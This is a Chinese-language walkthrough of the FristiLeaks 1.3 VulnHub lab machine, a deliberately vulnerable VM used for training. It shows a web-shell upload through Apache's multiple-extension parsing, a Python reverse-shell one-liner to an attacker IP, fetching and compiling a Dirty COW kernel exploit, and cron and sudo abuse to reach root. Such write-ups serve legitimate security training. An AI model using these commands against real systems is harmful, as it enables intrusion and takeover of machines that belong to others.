信息收集:
靶机地址: https://www.vulnhub.com/entry/fristileaks-13,133/
(1)根据官网提示,将msc地址改为08:00:27:A5:A6:76,ip地址就会出现
![](https://img-blog.csdnimg.cn/img_convert/f40a46b2bb912ce9327bc3b6efc70763.png)
![](https://img-blog.csdnimg.cn/img_convert/cb30f8326cde950900c6f6560a9ec6d0.png)
(2)端口扫描
nmap -A 192.168.254.133
nmap扫描端口,只开启了80端口,是apache2.2.15版本,且robots.txt中给出了三个目录:/cola /sisi /beer
![](https://img-blog.csdnimg.cn/img_convert/35ac94b859c91d8a005da96caa11b97e.png)
(3)目录扫描,没发现什么有价值的东西
dirsearch -u http://192.168.254.133
![](https://img-blog.csdnimg.cn/img_convert/ea34d0c3c2adc2548a0508b85a4a2a45.png)
(4)访问页面,也没啥新的发现
![](https://img-blog.csdnimg.cn/img_convert/03b2cf7b4c339e112f414942e053dd8e.png)
(5)访问robots.txt,发现三个路径,但是拼接三个路径,发现都是同一张图片,上面写着这不是url,可能需要找到一个url或路径
![](https://img-blog.csdnimg.cn/img_convert/d79485a680855031ce6be56b35cf565c.png)
![](https://img-blog.csdnimg.cn/img_convert/0010ec42d3188ad6092ab1d0ddd87cb1.png)
(6)返回首页,又尝试了半天,发现可以将首页的fristi拼接得到新的页面
![](https://img-blog.csdnimg.cn/img_convert/e908af99e00765204f29cb77083a709f.png)
![](https://img-blog.csdnimg.cn/img_convert/4a0ef7d1d7f965d512ee3f46b391dc95.png)
(7)尝试了弱口令、暴力破解、sql注入都没有,查看源码,发现对图片进行了base64加密
![](https://img-blog.csdnimg.cn/img_convert/eff4199e346b1aabe4081a23039ae830.png)
(8)还发现了一个留言(留言的名字可能作为用户名)和一串base64的加密字符
![](https://img-blog.csdnimg.cn/img_convert/bb9eb08feb0a3efec0ae16923b8365d6.png)
![](https://img-blog.csdnimg.cn/img_convert/f65bea137e638433d6960ae7bdb16b7f.png)
(9)在kali上解密发现是一个图片,那么把内容写入到图片中,点击查看图片,发现是一串字符
vim 1.txt
base -di 1.txt
base64 -di 1.txt > 1.png
![](https://img-blog.csdnimg.cn/img_convert/8ad176c06e3e9507bcee0910210502f5.png)
![](https://img-blog.csdnimg.cn/img_convert/102ea05f6823ac486f3ed98d6131599a.png)
(10)图片的内容可能作为密码,用之前疑似用户名的留言者和这一串值进行登录,成功登录
账号:eezeepz
密码:keKkeKKeKKeKkEkkEk
![](https://img-blog.csdnimg.cn/img_convert/6058901098a51524fa5488ab6f568a51.png)
getshell:
(1)登录后,发现一个文件上传的地方,尝试上传
![](https://img-blog.csdnimg.cn/img_convert/2144dc0d418685c747109ff506190a1e.png)
![](https://img-blog.csdnimg.cn/img_convert/562c3f42050f85ff701a21606742eb4e.png)
(2)尝试上传php文件失败,burp拦截数据包,修改Content-Type尝试绕过,也失败了
![](https://img-blog.csdnimg.cn/img_convert/853b305920e275144b4ff2f0f976f583.png)
(3)考虑到之前扫描到使用了apache服务器,版本为2.2.15,可以尝试利用其解析漏洞
在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png
可以看到是存在漏洞的,文件成功上传到了/uploads目录下
![](https://img-blog.csdnimg.cn/img_convert/96d6ce737899b02d49a133550eebde51.png)
(4)访问页面,发现解析了
http://192.168.254.133/fristi/uploads/1.php.png
![](https://img-blog.csdnimg.cn/img_convert/d0411ecdfeb373f415f446d36b136dcc.png)
(5)蚁剑连接
![](https://img-blog.csdnimg.cn/img_convert/7574296b09be0dfdb135dad8956eba27.png)
(6)上传一个执行系统命令的文件
![](https://img-blog.csdnimg.cn/img_convert/6982906309712a2edd863178a29ab588.png)
(7)使用hackbar插件,提交post数据
192.168.254.133/fristi/uploads/2.php.png
1=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
![](https://img-blog.csdnimg.cn/img_convert/31e0997f51ed77f3f55f0b88041b374f.png)
![](https://img-blog.csdnimg.cn/img_convert/9f61001c2525560d3fc977fe8188549f.png)
提权:
(1)脏牛提权,查看内核版本,可以尝试脏牛提权
![](https://img-blog.csdnimg.cn/img_convert/52fb5e27539d8bfca9d46f620917efa0.png)
(2)查找脏牛脚本
searchsploit 'Dirty COW'
![](https://img-blog.csdnimg.cn/img_convert/5d2a35db087720273535bfedaa5c3e21.png)
(3)用一个符合版本的脚本,将其导到当前路径
searchsploit -m 40839.c
![](https://img-blog.csdnimg.cn/img_convert/07aa3d0a90ce9cf99b3e9c3db0369257.png)
(4)本机开启一个临时的web服务
python3 -m http.server
![](https://img-blog.csdnimg.cn/img_convert/eae7f854a46e54e6b077a51a6caeb986.png)
(5)wget下载脏牛脚本,并赋予权限
wget http://192.168.254.129:8000/40839.c
chmod 777 40839.c
![](https://img-blog.csdnimg.cn/img_convert/ab89cf0f4e1a39d7962f50ed9be845af.png)
(6)编译并运行,密码自己设置一个,我这里设置123456
gcc -pthread 40839.c -o 40839 -lcrypt
./40839
![](https://img-blog.csdnimg.cn/img_convert/217ad801d5940bd1e5c146ec00d59463.png)
(7)切换到firefart用户,提权成功
su firefart
![](https://img-blog.csdnimg.cn/img_convert/4fa61f762585212ded6fc478f472b0c1.png)
(8)sudo提权
home目录查看用户,有三个用户,进入admin目录是没有权限
admin
eezeepz
fristigod
![](https://img-blog.csdnimg.cn/img_convert/e675179c42f14d8c006bd887b1278c3e.png)
(9)在eezeepz家目录下找到notes.txt
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次
![](https://img-blog.csdnimg.cn/img_convert/61313e2d47502a66f5ef9fde3ff1d407.png)
![](https://img-blog.csdnimg.cn/img_convert/8fde76fc0601c4fd9878899ac781a886.png)
(10)执行如下命令
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis
查看/tmp/cronresult
cat /tmp/cronresult
![](https://img-blog.csdnimg.cn/img_convert/007ce50c19181382d0fc14b79cdf5dea.png)
(11)成功cd到admin用户
查看文件,发现两串base64值
cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
![](https://img-blog.csdnimg.cn/img_convert/d49e8ad00006361b1b940338382e1637.png)
![](https://img-blog.csdnimg.cn/img_convert/77b613bd802949bc837f6a95ad3b99c1.png)
(12)还有一个加密脚本
cat cryptpass.py
![](https://img-blog.csdnimg.cn/img_convert/6c7d8f38468efc118ccf861cc2600e11.png)
(13)尝试逆转机密机制,将脚本保存到桌面下1.py
import base64,codecs,sys
def decodeString(str):
rot13string = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(rot13string)
print(decodeString(sys.argv[1]))
![](https://img-blog.csdnimg.cn/img_convert/96ea0124f710ad72d14f0e1db2e21931.png)
(14)运行1.py脚本解密
python 1.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!
python 1.py mVGZ3O3omkJLmy2pcuTq
thisisalsopw123
![](https://img-blog.csdnimg.cn/img_convert/7cba88cfe394168ff92afab45c91f29c.png)
(15)登录fristigod,发现并不是root权限
fristigod
LetThereBeFristi!
![](https://img-blog.csdnimg.cn/img_convert/1ed3ddda0e603ae36b1060c90870c9ad.png)
(16)history查看历史命令,发现执行命令时会使用sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
以root身份打开终端,在命令后加/bin/bash提权成功
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
![](https://img-blog.csdnimg.cn/img_convert/2dd0f7eb456f6bacb1bc18b62cf3d6dd.png)